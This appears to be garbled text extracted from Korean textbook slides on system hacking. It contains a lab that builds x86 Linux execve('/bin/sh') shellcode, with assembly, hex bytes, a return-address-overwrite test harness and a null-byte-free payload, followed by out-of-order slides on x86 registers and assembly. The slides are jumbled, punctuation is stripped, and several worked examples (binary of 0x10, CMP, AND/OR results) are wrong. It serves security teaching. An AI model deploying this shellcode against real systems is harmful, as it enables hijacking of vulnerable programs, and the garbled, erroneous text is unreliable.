movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 12: 80×86  시스템에 대한 이해

12108

세그먼트 레지스터 프로그램에 정의된 메모리상의 특정 영역

코드 데이터 스택 등을 포함

CS DS SS 3 개의 레지스터가 기본 ES FS GS 레지스터는 여분

bull CS 레지스터 기계 명령을 포함 코드세그먼트의 시작 주소를 가리킴

bull DS 레지스터 프로그램에 정의된 데이터 상수 작업 영역을 포함

데이터 세그먼트의 시작 주소를 가리킴

데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조

bull SS 레지스터 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용 스택 세그먼트의 시작 주소를 가리킨다

bull ES FS GS 레지스터 ES 레지스터는 추가로 사용된 데이터 세그먼트의 주소를 가리킴

FS 와 GS 레지스터도 목적은 이와 비슷 거의 사용되지 않음

80times86 시스템 CPU 의 구조와 레지스터

13108

포인트 레지스터 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장

EBP ESP EIP 가 있다

bull EBP 레지스터 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장

함수로 전달되는 지역변수 등을 참조할 때 기준 ESP 레지스터와 함께

사용되어 스택 프레임 (stack frame) 을 형성 실제 메모리상의 주소를 참조할 때

SS(Stack Segment) 레지스터와 함께 사용 bull ESP 레지스터 현재 스택 영역에서 가장 하위 주소를 저장 EBP 와 마찬가지로 실제

메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용 bull EIP 레지스터 다음에 실행될 명령의 오프셋을 포함 CS(Code Segment) 레지스터와 함께

사용

인덱스 레지스터bull ESI amp EDI 메모리의 한 영역 (Souce) 에서 다른 영역 (Destination) 으로 데이터를

연속적으로 복사할 때 사용

80times86 시스템 CPU 의 구조와 레지스터

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

